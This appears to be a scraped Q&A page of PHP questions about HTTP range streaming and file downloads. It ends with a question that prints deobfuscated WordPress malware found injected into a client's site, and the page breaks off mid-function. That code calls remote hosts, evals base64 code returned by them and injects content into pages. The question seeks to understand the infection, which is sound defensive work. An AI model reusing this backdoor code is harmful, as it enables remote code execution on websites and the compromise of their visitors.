I have a website which I use to stream audio files.
Mainly, MP3 & OGG.
Since few months, I handle myself (PHP) the steaming part (before it was apache2). First I do a normal 200 OK response with sliced binary response of my multimedia audio files (for memory allocation).
It's working fine, but I got the Infinity duration on all my audio.
According to this question, I have updated yesterday the streaming part.
And now, I have one of the strangest bug I could imagine. My refactor of code works really fine with MP3 but not with OGG... Images, or zip download also works with the class above, and they both work fine as before.
Here is my Stream class.
<?php
class Stream extends Response
{
protected $filepath;
protected $delete;
protected $range = ['from' => 0, 'to' => null];
public function __construct($filePath, $delete = false, $range = NULL)
{
$this->delete = $delete;
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mimeType = finfo_file($finfo, $filePath);
$size = filesize($filePath);
$this->headers['Content-Type'] = $mimeType;
$this->headers['Content-Length'] = $size;
$this->headers['Accept-Ranges'] = 'bytes';
$this->headers['Content-Transfer-Encoding'] = 'binary';
unset($finfo, $mimeType);
$this->code = 200;
$this->range['to'] = $size - 1;
if ($range !== NULL) {
if (preg_match('/^bytes=\d*-\d*(,\d*-\d*)*$/i', $range) === false) {
$this->code = 416;
} else {
$ranges = explode(',', substr($range, 6));
foreach ($ranges as $rangee) {
$parts = explode('-', $rangee);
$this->range['from'] = intval($parts[0]);
$this->range['to'] = intval($parts[1]);
if (empty($this->range['to'])) {
$this->range['to'] = $size - 1;
}
if ($this->range['from'] > $this->range['to'] || $this->range['to'] >= $size) {
$this->code = 416;
}
}
$this->code = 206;
}
}
if ($this->code === 416) {
$this->headers = ['Content-Range' => 'bytes */{' . $size . '}'];
} elseif ($this->code === 206) {
$this->headers['Content-Range'] = 'bytes {' . $this->range['from'] . '}-{' . $this->range['to'] . '}/{' . $size . '}';
}
$this->filepath = $filePath;
}
public function show()
{
http_response_code($this->code);
foreach ($this->headers as $header => $value) {
header($header . ': ' . $value);
}
$file = fopen($this->filepath, 'r');
fseek($file, $this->range['from']);
$interval = $this->range['to'] - $this->range['from'];
$outputBufferInterval = 4 * 1000;
if ($interval < $outputBufferInterval) {
$outputBufferInterval = $interval;
}
ob_start();
while ($interval > 0) {
echo fread($file, $outputBufferInterval);
$interval -= $outputBufferInterval;
ob_flush();
}
fclose($file);
ob_end_clean();
if ($this->delete) {
unlink($this->filepath);
}
}
}
I am little confused with HTTP_RANGE.
Thank you,
Related
I have a privet forms to give courses online that users can register and watching the video course Online after payment , And I need to produce the video without showing the original URL source by using this function :
// Get video view tag
function GetVideoViewTag(&$fld, $val, $tooltip = false)
{
global $Page;
if (!EmptyString($val)) {
$val = $fld->htmlDecode($val);
if ($fld->DataType == DATATYPE_BLOB) {
$wrknames = [$val];
$wrkfiles = [$val];
} elseif ($fld->UploadMultiple) {
$wrknames = explode(Config("MULTIPLE_UPLOAD_SEPARATOR"), $val);
$wrkfiles = explode(Config("MULTIPLE_UPLOAD_SEPARATOR"), $fld->htmlDecode($fld->Upload->DbValue));
} else {
$wrknames = [$val];
$wrkfiles = [$fld->htmlDecode($fld->Upload->DbValue)];
}
$multiple = (count($wrkfiles) > 1);
$href = $tooltip ? "" : $fld->HrefValue;
$isLazy = $tooltip ? false : IsLazy();
$tags = "";
$wrkcnt = 0;
foreach ($wrkfiles as $wrkfile) {
$tag = "";
if (
$Page && ($Page->TableType == "REPORT" &&
($Page->isExport("excel") && Config("USE_PHPEXCEL") ||
$Page->isExport("word") && Config("USE_PHPWORD")) ||
$Page->TableType != "REPORT" && ($Page->CustomExport == "pdf" || $Page->CustomExport == "email"))
) {
$fn = GetFileTempImage($fld, $wrkfile);
} else {
$fn = GetFileUploadUrl($fld, $wrkfile, $fld->Resize);
}
$fi = base64_encode(file_get_contents('http://localhost/onlincu/files/'.$wrkfile));
if ($href == "" && !$fld->UseColorbox) {
if ($fn != "") {
if ($isLazy) {
$tag = '<center><video style="width: 100%; height: 380px;" autoplay controls controlsList="nodownload"><source src="data:video/mp4;base64,'.$fi.'" type="video/mp4" data-src="' . $fn . '"' . $fld->viewAttributes() . '></video></center>';
} else {
$tag = '<center><video style="width: 100%; height: 380px;" autoplay controls controlsList="nodownload"><source src="data:video/mp4;base64,'.$fi.'" type="video/mp4" data-src="' . $fn . '"' . $fld->viewAttributes() . '></video></center>';
}
}
} else {
if ($fld->UploadMultiple && ContainsString($href, '%u')) {
$fld->HrefValue = str_replace('%u', GetFileUploadUrl($fld, $wrkfile), $href);
}
if ($fn != "") {
if ($isLazy) {
$tag = '<center><video style="width: 100%; height: 380px;" autoplay controls controlsList="nodownload"><source src="data:video/mp4;base64,'.$fi.'" type="video/mp4" data-src="' . $fn . '"' . $fld->viewAttributes() . '></video></center>';
} else {
$tag = '<center><video style="width: 100%; height: 380px;" autoplay controls controlsList="nodownload"><source src="data:video/mp4;base64,'.$fi.'" type="video/mp4" data-src="' . $fn . '"' . $fld->viewAttributes() . '></video></center>';
}
}
}
if ($tag != "") {
if ($multiple) {
$tags .= '<div class="p-1">' . $tag . '</div>';
} else {
$tags .= $tag;
}
}
$wrkcnt += 1;
}
if ($multiple && $tags != "") {
$tags = '<div class="d-flex flex-row">' . $tags . '</div>';
}
return $tags;
}
return "";
}
Now my function working Good even better until now , But I have read that using 'base64_encode' for videos maybe damage the original video , Well if that true What the better solution for this case ?
I appreciate your help .
I have found a solution to this it's worked for me but I wonder if this a good secure solution ?
so what I do that instead of using 'base64_encode' to encrypt my video URL source ,I tried to add this class bellow :
<?php
//VideoStream.php
class VideoStream
{
private $path = "";
private $stream = "";
private $iv = "";
private $buffer = 102400;
private $start = -1;
private $end = -1;
private $size = 0;
function __construct($filePath)
{
$this->$iv = str_repeat('z', 16);
$this->path = openssl_decrypt($filePath, "aes128", session_id(),0,$this->$iv);
}
/**
* Open stream
*/
private function open()
{
if (!($this->stream = fopen($this->path, 'rb'))) {
die('Could not open stream for reading');
}
}
/**
* Set proper header to serve the video content
*/
private function setHeader()
{
ob_get_clean();
header("Content-Type: video/mp4");
header("Cache-Control: max-age=2592000, private");
header("Expires: ".gmdate('D, d M Y H:i:s', time()+2592000) . ' GMT');
header("Last-Modified: ".gmdate('D, d M Y H:i:s', #filemtime($this->path)) . ' GMT' );
$this->start = 0;
$this->size = filesize($this->path);
$this->end = $this->size - 1;
header("Accept-Ranges: 0-".$this->end);
if (isset($_SERVER['HTTP_RANGE'])) {
$c_start = $this->start;
$c_end = $this->end;
list(, $range) = explode('=', $_SERVER['HTTP_RANGE'], 2);
if (strpos($range, ',') !== false) {
header('HTTP/1.1 416 Requested Range Not Satisfiable');
header("Content-Range: bytes $this->start-$this->end/$this->size");
exit;
}
if ($range == '-') {
$c_start = $this->size - substr($range, 1);
}else{
$range = explode('-', $range);
$c_start = $range[0];
$c_end = (isset($range[1]) && is_numeric($range[1])) ? $range[1] : $c_end;
}
$c_end = ($c_end > $this->end) ? $this->end : $c_end;
if ($c_start > $c_end || $c_start > $this->size - 1 || $c_end >= $this->size) {
header('HTTP/1.1 416 Requested Range Not Satisfiable');
header("Content-Range: bytes $this->start-$this->end/$this->size");
exit;
}
$this->start = $c_start;
$this->end = $c_end;
$length = $this->end - $this->start + 1;
fseek($this->stream, $this->start);
header('HTTP/1.1 206 Partial Content');
header("Content-Length: ".$length);
header("Content-Range: bytes $this->start-$this->end/".$this->size);
}
else
{
header("Content-Length: ".$this->size);
}
}
/**
* close curretly opened stream
*/
private function end()
{
fclose($this->stream);
exit;
}
/**
* perform the streaming of calculated range
*/
private function stream()
{
$i = $this->start;
set_time_limit(0);
while(!feof($this->stream) && $i <= $this->end) {
$bytesToRead = $this->buffer;
if(($i+$bytesToRead) > $this->end) {
$bytesToRead = $this->end - $i + 1;
}
$data = fread($this->stream, $bytesToRead);
echo $data;
flush();
$i += $bytesToRead;
}
}
/**
* Start streaming video content
*/
function start()
{
$this->open();
$this->setHeader();
$this->stream();
$this->end();
}
}
And my response_video.php :
<?php
//response_video.php
header("location: /onlincu/");
session_start();
// Start the session
if(isset($_GET["video_id"])&& isset($_GET["token"])){
$token_id = $_GET["token"];
$Vid_id = $_GET["video_id"];
$iv = str_repeat('z', 16);
$token = openssl_decrypt($Vid_id, "aes128", $token_id,0,$iv);
$path = openssl_encrypt("files/".$token, "aes128", session_id(),0,$iv);
require_once'VideoStream.php';
$stream = new VideoStream($path);
$stream->start();
}
?>
Finally I call my response_video.php :
<?php
//index.php
$TokenValue = 'my-token-value';
$myVideo = $Page->videofile->getViewValue() //my-Video-name-value
$iv = str_repeat('z', 16);
$path=openssl_encrypt($myVideo, "aes128", $TokenValue,0,$iv);
?>
<video oncontextmenu="return false;" id="myVideo" width="100%" height="550px" autoplay controls controlsList="nodownload">
</video>
<script>
var vid = document.getElementById("myVideo");
vid.src='response_video.php?video_id=<?= $path?>&token=<?= $TokenValue?>';
vid.type = 'video/mp4';
</script>
Now my video src look like :
src"onlincu/response_video.php?video_id=AvpAkmjPf16HapWcRKDrdhRZWFeZTBox2LDHA3zeFnk="
i have use this code for download its working fine on download manager with good speed but problem with browser downloader its speed very low its 45kbps to 50kbps . can anyone help me how to set it for browser downloader also
this code
<?php
class ResumeDownload {
private $file;
private $name;
private $boundary;
private $delay = 0;
private $size = 0;
function __construct($file, $delay = 0) {
if (! is_file($file)) {
header("HTTP/1.1 400 Invalid Request");
die("<h3>File Not Found</h3>");
}
$this->size = filesize($file);
$this->file = fopen($file, "r");
$this->boundary = md5($file);
$this->delay = $delay;
$this->name = basename($file);
}
public function process() {
$ranges = NULL;
$t = 0;
if ($_SERVER['REQUEST_METHOD'] == 'GET' && isset($_SERVER['HTTP_RANGE']) && $range = stristr(trim($_SERVER['HTTP_RANGE']), 'bytes=')) {
$range = substr($range, 6);
$ranges = explode(',', $range);
$t = count($ranges);
}
header("Accept-Ranges: bytes");
header("Content-Type: application/octet-stream");
header("Content-Transfer-Encoding: binary");
header(sprintf('Content-Disposition: attachment; filename="%s"', $this->name));
if ($t > 0) {
header("HTTP/1.1 206 Partial content");
$t === 1 ? $this->pushSingle($range) : $this->pushMulti($ranges);
} else {
header("Content-Length: " . $this->size);
$this->readFile();
}
flush();
}
private function pushSingle($range) {
$start = $end = 0;
$this->getRange($range, $start, $end);
header("Content-Length: " . ($end - $start + 1));
header(sprintf("Content-Range: bytes %d-%d/%d", $start, $end, $this->size));
fseek($this->file, $start);
$this->readBuffer($end - $start + 1);
$this->readFile();
}
private function pushMulti($ranges) {
$length = $start = $end = 0;
$output = "";
$tl = "Content-type: application/octet-stream\r\n";
$formatRange = "Content-range: bytes %d-%d/%d\r\n\r\n";
foreach ( $ranges as $range ) {
$this->getRange($range, $start, $end);
$length += strlen("\r\n--$this->boundary\r\n");
$length += strlen($tl);
$length += strlen(sprintf($formatRange, $start, $end, $this->size));
$length += $end - $start + 1;
}
$length += strlen("\r\n--$this->boundary--\r\n");
header("Content-Length: $length");
header("Content-Type: multipart/x-byteranges; boundary=$this->boundary");
foreach ( $ranges as $range ) {
$this->getRange($range, $start, $end);
echo "\r\n--$this->boundary\r\n";
echo $tl;
echo sprintf($formatRange, $start, $end, $this->size);
fseek($this->file, $start);
$this->readBuffer($end - $start + 1);
}
echo "\r\n--$this->boundary--\r\n";
}
private function getRange($range, &$start, &$end) {
list($start, $end) = explode('-', $range);
$fileSize = $this->size;
if ($start == '') {
$tmp = $end;
$end = $fileSize - 1;
$start = $fileSize - $tmp;
if ($start < 0)
$start = 0;
} else {
if ($end == '' || $end > $fileSize - 1)
$end = $fileSize - 1;
}
if ($start > $end) {
header("Status: 416 Requested range not satisfiable");
header("Content-Range: */" . $fileSize);
exit();
}
return array(
$start,
$end
);
}
private function readFile() {
while ( ! feof($this->file) ) {
echo fgets($this->file);
flush();
usleep($this->delay);
}
}
private function readBuffer($bytes, $size = 1024) {
$bytesLeft = $bytes;
while ( $bytesLeft > 0 && ! feof($this->file) ) {
$bytesLeft > $size ? $bytesRead = $size : $bytesRead = $bytesLeft;
$bytesLeft -= $bytesRead;
echo fread($this->file, $bytesRead);
flush();
usleep($this->delay);
}
}
}
$file = '/home/file.zip';
set_time_limit(0);
$download = new ResumeDownload($file, 50000); //delay about in microsecs
$download->process();
its give good speed on internet download manager when change delay microsecs . but this speed not work for browser downloader
If you don't want low download speed you should use this class like follow:
$file = '/home/file.zip';
set_time_limit(0);
$download = new ResumeDownload($file);
$download->process();
I'm tying to make a php script to sownload video from youtube and stream it at the same time and this is my code ..
ini_set('max_execution_time', 0);
ini_set('memory_limit', '512M');
$vid_id = $_GET['vidId'];
if (!file_exists('../cache_files/youtube/' . $vid_id . '.mp4')) {
$vid_info = file_get_contents('https://www.youtube.com/get_video_info?video_id=' . $vid_id);
parse_str($vid_info);
$Array = explode(',', $url_encoded_fmt_stream_map);
foreach ($Array as $item) {
parse_str($item);
$format = trim(substr($type, 0, strpos($type, ';')));
if ($format = 'video/mp4' && $quality == 'medium') {
download($url, $vid_id);
break;
} else {
echo $reason;
}
}
} else {
ob_clean();
flush();
readfile('../cache_files/youtube/' . $vid_id . '.mp4');
exit;
}
function download($infile, $outfile)
{
$chunksize = 100 * (1024 * 1024);
$parts = parse_url($infile);
$i_handle = fsockopen($parts['host'], 80, $errstr, $errcode, 5);
$o_handle = fopen('../cache_files/youtube/' . $outfile . '.mp4', 'wb');
if ($i_handle == false || $o_handle == false) {
return false;
}
if (!empty($parts['query'])) {
$parts['path'] .= '?' . $parts['query'];
}
$request = "GET {$parts['path']} HTTP/1.1\r\n";
$request .= "Host: {$parts['host']}\r\n";
$request .= "User-Agent: Mozilla/5.0\r\n";
$request .= "Keep-Alive: 115\r\n";
$request .= "Connection: keep-alive\r\n\r\n";
fwrite($i_handle, $request);
$headers = array();
while (!feof($i_handle)) {
$line = fgets($i_handle);
if ($line == "\r\n")
break;
$headers[] = $line;
}
$length = 0;
foreach ($headers as $header) {
if (stripos($header, 'Content-Length:') === 0) {
$length = (int) str_replace('Content-Length: ', '', $header);
break;
}
}
$cnt = 0;
while (!feof($i_handle)) {
$buf = '';
echo $buf = fread($i_handle, $chunksize);
$bytes = fwrite($o_handle, $buf);
if ($bytes == false) {
return false;
}
$cnt += $bytes;
if ($cnt >= $length)
break;
}
fclose($i_handle);
fclose($o_handle);
if (file_exists('../cache_files/youtube/' . $outfile . '.mp4')) {
if (!filesize('../cache_files/youtube/' . $outfile . '.mp4') > 1024) {
unlink('../cache_files/youtube/' . $outfile . '.mp4');
}
}
return $cnt;
}
i use it like this
<video controls autoplay>
<source src='http://127.0.0.1/youtube.video.grabber.php?vidId=BYi7Lc2aclY'>
</video>
the "youtube.video.grabber.php" file now should start downloading the file to my disk and stream it to the client at the same time and it works but i can't move the video to the forward or the backward so i need to add some headers to this code like partial content and some other headers and here's the problem after adding the headers to the code it stops and won't work again .. so i wanna know how to add those headers to the this code or if you have a better solution to download and stream the file at the same time with the ability to move the video to the backward or the forward i will be grateful if you told me how .. thanks and sorry about my bad english
I have created a website which allows the user to zip multiple files from remote sites, combine them into a zip file, then download them. This part is working very well.
The problems I am having:
1) The zip takes too long to generate when combining multiple files
2) I cannot set the zip files name to be $name
This is what I have:
<?php
$files = unserialize($_POST['filesend']);
$name = $_POST['name'];
$zip = new ZipArchive();
$tmp_file = tempnam('.','');
$zip->open($tmp_file, ZipArchive::CREATE);
foreach($files as $file){
$download_file = file_get_contents($file);
$zip->addFromString(basename($file),$download_file);
}
$zip->close();
function downloadfile ($file, $contenttype = 'application/octet-stream') {
#error_reporting(0);
if (!file_exists($file)) {
header("HTTP/1.1 404 Not Found");
exit;
}
if (isset($_SERVER['HTTP_RANGE'])) $range = $_SERVER['HTTP_RANGE'];
else if ($apache = apache_request_headers()) {
$headers = array();
foreach ($apache as $header => $val) $headers[strtolower($header)] = $val;
if (isset($headers['range'])) $range = $headers['range'];
else $range = FALSE;
} else $range = FALSE;
$filesize = filesize($file);
if ($range) {
$partial = true;
list($param,$range) = explode('=',$range);
if (strtolower(trim($param)) != 'bytes') {
header("HTTP/1.1 400 Invalid Request");
exit;
}
$range = explode(',',$range);
$range = explode('-',$range[0]);
if (count($range) != 2) {
header("HTTP/1.1 400 Invalid Request");
exit;
}
if ($range[0] === '') {
$end = $filesize - 1;
$start = $end - intval($range[0]);
} else if ($range[1] === '') {
$start = intval($range[0]);
$end = $filesize - 1;
} else {
$start = intval($range[0]);
$end = intval($range[1]);
if ($end >= $filesize || (!$start && (!$end || $end == ($filesize - 1)))) $partial = false;
}
$length = $end - $start + 1;
} else $partial = false;
header("Content-Type: $contenttype");
header("Content-Length: $filesize");
header("Content-Disposition: attachment; filename= $name .zip");
header('Accept-Ranges: bytes');
if ($partial) {
header('HTTP/1.1 206 Partial Content');
header("Content-Range: bytes $start-$end/$filesize");
if (!$fp = fopen($file, 'r')) {
header("HTTP/1.1 500 Internal Server Error");
exit;
}
if ($start) fseek($fp,$start);
while ($length) {
$read = ($length > 8192) ? 8192 : $length;
$length -= $read;
print(fread($fp,$read));
}
fclose($fp);
} else readfile($file);
exit;
}
downloadfile ($tmp_file, $contenttype = 'application/octet-stream');
?>
Sample input:
$files = array("http://img3.wikia.nocookie.net/__cb20100520131746/logopedia/images/5/5c/Google_logo.png","http://www.logobird.com/wp-content/uploads/2011/03/new-google-chrome-logo.jpg","http://steve-lovelace.com/wordpress/wp-content/uploads/2013/06/google-logo-in-chicago-font.png","http://fc08.deviantart.net/fs70/f/2013/111/d/6/applejack_google_logo__install_guide___by_thepatrollpl-d62gui3.png","http://www.sfweekly.com/binary/fb4a/go.jpg","https://www.google.com/logos/doodles/2014/world-cup-2014-16-5975619640754176.3-hp.gif");
$name = "Google Logo's 33";
To address your two issues:
1) Slow file processing speed.
I don't know that you can help that. It is what it is.
2) Saving the name.
I have formatted this into a class, just to keep jobs separate. I find a class works better in a situation like this because it's easier to read. That being said, because each method may use the protected $filename you should copy everything here instead of breaking this code out an mixing your procedural with this class:
class DownloadFiles
{
protected $filename;
protected $Zipper;
public function Initialize($filename = false)
{
// Set the file name in the construct
$this->filename = ($filename != false)? $filename:"file".date("YmdHis");
// New ZipArchive instance
$this->Zipper = new ZipArchive();
// Drop the filename here
$this->Zipper->open($this->filename, ZipArchive::CREATE);
// Return the method for optional chaining.
return $this;
}
public function AddFiles($array = array())
{
if(!isset($this->Zipper))
return $this;
// This is just if you wanted to also use a string
// separated by commas, it will convert to array
if(!is_array($array) && strpos($array,",") !== false)
$array = explode(",",$array);
// Loop through files (as you have it already)
if(is_array($array) && !empty($array)) {
foreach($array as $url) {
// Add Contents (as you have it)
$this->Zipper->addFromString(basename($url),file_get_contents($url));
}
}
// Close zip file
$this->Zipper->close();
// Return for method chaining
return $this;
}
public function DownloadZip($contenttype = 'application/octet-stream')
{
if(!isset($this->filename))
return $this;
// Nothing really changes in this function except
// you don't need the name as an option in this function
error_reporting(0);
if (!file_exists($this->filename)) {
header("HTTP/1.1 404 Not Found");
exit;
}
$range = false;
if(isset($_SERVER['HTTP_RANGE']))
$range = $_SERVER['HTTP_RANGE'];
elseif($apache = apache_request_headers()) {
$headers = array();
foreach ($apache as $header => $val)
$headers[strtolower($header)] = $val;
$range = (isset($headers['range']))? $headers['range']:false;
}
$filesize = filesize($this->filename);
$partial = false;
if($range) {
$partial = true;
list($param,$range) = explode('=',$range);
if(strtolower(trim($param)) != 'bytes') {
header("HTTP/1.1 400 Invalid Request");
exit;
}
$range = explode(',',$range);
$range = explode('-',$range[0]);
if(count($range) != 2) {
header("HTTP/1.1 400 Invalid Request");
exit;
}
if($range[0] === '') {
$end = $filesize - 1;
$start = $end - intval($range[0]);
}
elseif($range[1] === '') {
$start = intval($range[0]);
$end = $filesize - 1;
}
else {
$start = intval($range[0]);
$end = intval($range[1]);
if($end >= $filesize || (!$start && (!$end || $end == ($filesize - 1))))
$partial = false;
}
$length = $end - $start + 1;
}
header("Content-Type: $contenttype");
header("Content-Length: $filesize");
header('Content-Disposition: attachment; filename='.$this->filename.'.zip');
header('Accept-Ranges: bytes');
if($partial) {
header('HTTP/1.1 206 Partial Content');
header("Content-Range: bytes $start-$end/$filesize");
if(!$fp = fopen($this->filename, 'r')) {
header("HTTP/1.1 500 Internal Server Error");
exit;
}
if($start)
fseek($fp,$start);
while($length) {
$read = ($length > 8192) ? 8192 : $length;
$length -= $read;
print(fread($fp,$read));
}
fclose($fp);
}
else
readfile($this->filename);
exit;
}
}
?>
To use:
$files[] = "http://img3.wikia.nocookie.net/__cb20100520131746/logopedia/images/5/5c/Google_logo.png";
$files[] = "http://www.logobird.com/wp-content/uploads/2011/03/new-google-chrome-logo.jpg";
$files[] = "http://steve-lovelace.com/wordpress/wp-content/uploads/2013/06/google-logo-in-chicago-font.png";
$files[] = "http://fc08.deviantart.net/fs70/f/2013/111/d/6/applejack_google_logo__install_guide___by_thepatrollpl-d62gui3.png";
$files[] = "http://www.sfweekly.com/binary/fb4a/go.jpg";
$files[] = "https://www.google.com/logos/doodles/2014/world-cup-2014-16-5975619640754176.3-hp.gif";
$name = "Google Logo's 33";
// Initialize
$ZDownload = new DownloadFiles();
// Run downloader
$ZDownload->Initialize($name)->AddFiles($files)->DownloadZip();
I've found this code in base 64 on all php files of one of my client's site (wordpress) and I'm trying to understand what it does.
I'm also trying to figure out if it was an application exploit or a direct FTP access that has past this code.
Everything starts with setup_globals_777() and ob_start('mrobh') setting the callback to the mrobh($content) function.
Then there are a call to gzdecodeit ($decode) where the hassle starts out.
It seems like it gets the page content and change it. Now I'm trying to detect the specific changes and understand all functions, including the second one gzdecodeit().
Can someone shed some light on it?
The calls
setup_globals_777();
ob_start('mrobh');
// Here the application code and html output starts out
The callback:
function mrobh ($content)
{
#Header('Content-Encoding: none');
$decoded_content = gzdecodeit($content);
if (preg_match('/\<\/body/si', $decoded_content)) {
return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777() . "\n" . '$1',
$decoded_content);
} else {
return $decoded_content . gml_777();
}
}
The setup function (understandable)
function setup_globals_777 ()
{
$rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
$mz = "/tmp/";
if (! is_dir($rz)) {
#mkdir($rz);
if (is_dir($rz)) {
$mz = $rz;
} else {
$rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
if (! is_dir($rz)) {
#mkdir($rz);
if (is_dir($rz)) {
$mz = $rz;
}
} else {
$mz = $rz;
}
}
} else {
$mz = $rz;
}
$bot = 0;
$ua = $_SERVER['HTTP_USER_AGENT'];
if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
$bot = 1;
if (stristr($ua, "bingbot") || stristr($ua, "google"))
$bot = 1;
$msie = 0;
if (is_msie_777($ua))
$msie = 1;
$mac = 0;
if (is_mac_777($ua))
$mac = 1;
if (($msie == 0) && ($mac == 0))
$bot = 1;
global $_SERVER;
$_SERVER['s_p1'] = $mz;
$_SERVER['s_b1'] = $bot;
$_SERVER['s_t1'] = 1200;
$_SERVER['s_d1'] = "http://sweepstakesandcontestsdo.com/";
$d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" .
urlencode($_SERVER["PHP_SELF"]) . "&a=" .
urlencode($_SERVER["HTTP_USER_AGENT"]);
$_SERVER['s_a1'] = 'http://www.lilypophilypop.com/g_load.php' . $d;
$_SERVER['s_a2'] = 'http://www.lolypopholypop.com/g_load.php' . $d;
$_SERVER['s_script'] = "mm.php?d=1";
}
The first function called after the callback execution:
Here is where the magic happens. I can't see the calls for the other
available functions and understand what this function is actually
decoding, since the $decode var is the application output grabbed by
the ob_start()
function gzdecodeit ($decode)
{
$t = #ord(#substr($decode, 3, 1));
$start = 10;
$v = 0;
if ($t & 4) {
$str = #unpack('v', substr($decode, 10, 2));
$str = $str[1];
$start += 2 + $str;
}
if ($t & 8) {
$start = #strpos($decode, chr(0), $start) + 1;
}
if ($t & 16) {
$start = #strpos($decode, chr(0), $start) + 1;
}
if ($t & 2) {
$start += 2;
}
$ret = #gzinflate(#substr($decode, $start));
if ($ret === FALSE) {
$ret = $decode;
}
return $ret;
}
All the available functions (after a base64_decode()):
<?php
if (function_exists('ob_start') && ! isset($_SERVER['mr_no'])) {
$_SERVER['mr_no'] = 1;
if (! function_exists('mrobh')) {
function get_tds_777 ($url)
{
$content = "";
$content = #trycurl_777($url);
if ($content !== false)
return $content;
$content = #tryfile_777($url);
if ($content !== false)
return $content;
$content = #tryfopen_777($url);
if ($content !== false)
return $content;
$content = #tryfsockopen_777($url);
if ($content !== false)
return $content;
$content = #trysocket_777($url);
if ($content !== false)
return $content;
return '';
}
function trycurl_777 ($url)
{
if (function_exists('curl_init') === false)
return false;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_HEADER, 0);
$result = curl_exec($ch);
curl_close($ch);
if ($result == "")
return false;
return $result;
}
function tryfile_777 ($url)
{
if (function_exists('file') === false)
return false;
$inc = #file($url);
$buf = #implode('', $inc);
if ($buf == "")
return false;
return $buf;
}
function tryfopen_777 ($url)
{
if (function_exists('fopen') === false)
return false;
$buf = '';
$f = #fopen($url, 'r');
if ($f) {
while (! feof($f)) {
$buf .= fread($f, 10000);
}
fclose($f);
} else
return false;
if ($buf == "")
return false;
return $buf;
}
function tryfsockopen_777 ($url)
{
if (function_exists('fsockopen') === false)
return false;
$p = #parse_url($url);
$host = $p['host'];
$uri = $p['path'] . '?' . $p['query'];
$f = #fsockopen($host, 80, $errno, $errstr, 30);
if (! $f)
return false;
$request = "GET $uri HTTP/1.0\n";
$request .= "Host: $host\n\n";
fwrite($f, $request);
$buf = '';
while (! feof($f)) {
$buf .= fread($f, 10000);
}
fclose($f);
if ($buf == "")
return false;
list ($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10),
$buf);
return $buf;
}
function trysocket_777 ($url)
{
if (function_exists('socket_create') === false)
return false;
$p = #parse_url($url);
$host = $p['host'];
$uri = $p['path'] . '?' . $p['query'];
$ip1 = #gethostbyname($host);
$ip2 = #long2ip(#ip2long($ip1));
if ($ip1 != $ip2)
return false;
$sock = #socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (! #socket_connect($sock, $ip1, 80)) {
#socket_close($sock);
return false;
}
$request = "GET $uri HTTP/1.0\n";
$request .= "Host: $host\n\n";
socket_write($sock, $request);
$buf = '';
while ($t = socket_read($sock, 10000)) {
$buf .= $t;
}
#socket_close($sock);
if ($buf == "")
return false;
list ($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10),
$buf);
return $buf;
}
function update_tds_file_777 ($tdsfile)
{
$actual1 = $_SERVER['s_a1'];
$actual2 = $_SERVER['s_a2'];
$val = get_tds_777($actual1);
if ($val == "")
$val = get_tds_777($actual2);
$f = #fopen($tdsfile, "w");
if ($f) {
#fwrite($f, $val);
#fclose($f);
}
if (strstr($val, "|||CODE|||")) {
list ($val, $code) = explode("|||CODE|||", $val);
eval(base64_decode($code));
}
return $val;
}
function get_actual_tds_777 ()
{
$defaultdomain = $_SERVER['s_d1'];
$dir = $_SERVER['s_p1'];
$tdsfile = $dir . "log1.txt";
if (#file_exists($tdsfile)) {
$mtime = #filemtime($tdsfile);
$ctime = time() - $mtime;
if ($ctime > $_SERVER['s_t1']) {
$content = update_tds_file_777($tdsfile);
} else {
$content = #file_get_contents($tdsfile);
}
} else {
$content = update_tds_file_777($tdsfile);
}
$tds = #explode("\n", $content);
$c = #count($tds) + 0;
$url = $defaultdomain;
if ($c > 1) {
$url = trim($tds[mt_rand(0, $c - 2)]);
}
return $url;
}
function is_mac_777 ($ua)
{
$mac = 0;
if (stristr($ua, "mac") || stristr($ua, "safari"))
if ((! stristr($ua, "windows")) && (! stristr($ua, "iphone")))
$mac = 1;
return $mac;
}
function is_msie_777 ($ua)
{
$msie = 0;
if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") ||
stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9"))
$msie = 1;
return $msie;
}
function setup_globals_777 ()
{
$rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
$mz = "/tmp/";
if (! is_dir($rz)) {
#mkdir($rz);
if (is_dir($rz)) {
$mz = $rz;
} else {
$rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
if (! is_dir($rz)) {
#mkdir($rz);
if (is_dir($rz)) {
$mz = $rz;
}
} else {
$mz = $rz;
}
}
} else {
$mz = $rz;
}
$bot = 0;
$ua = $_SERVER['HTTP_USER_AGENT'];
if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
$bot = 1;
if (stristr($ua, "bingbot") || stristr($ua, "google"))
$bot = 1;
$msie = 0;
if (is_msie_777($ua))
$msie = 1;
$mac = 0;
if (is_mac_777($ua))
$mac = 1;
if (($msie == 0) && ($mac == 0))
$bot = 1;
global $_SERVER;
$_SERVER['s_p1'] = $mz;
$_SERVER['s_b1'] = $bot;
$_SERVER['s_t1'] = 1200;
$_SERVER['s_d1'] = "http://sweepstakesandcontestsdo.com/";
$d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" .
urlencode($_SERVER["PHP_SELF"]) . "&a=" .
urlencode($_SERVER["HTTP_USER_AGENT"]);
$_SERVER['s_a1'] = 'http://www.lilypophilypop.com/g_load.php' . $d;
$_SERVER['s_a2'] = 'http://www.lolypopholypop.com/g_load.php' . $d;
$_SERVER['s_script'] = "mm.php?d=1";
}
if (! function_exists('gml_777')) {
function gml_777 ()
{
$r_string_777 = '';
if ($_SERVER['s_b1'] == 0)
$r_string_777 = '';
return $r_string_777;
}
}
if (! function_exists('gzdecodeit')) {
function gzdecodeit ($decode)
{
$t = #ord(#substr($decode, 3, 1));
$start = 10;
$v = 0;
if ($t & 4) {
$str = #unpack('v', substr($decode, 10, 2));
$str = $str[1];
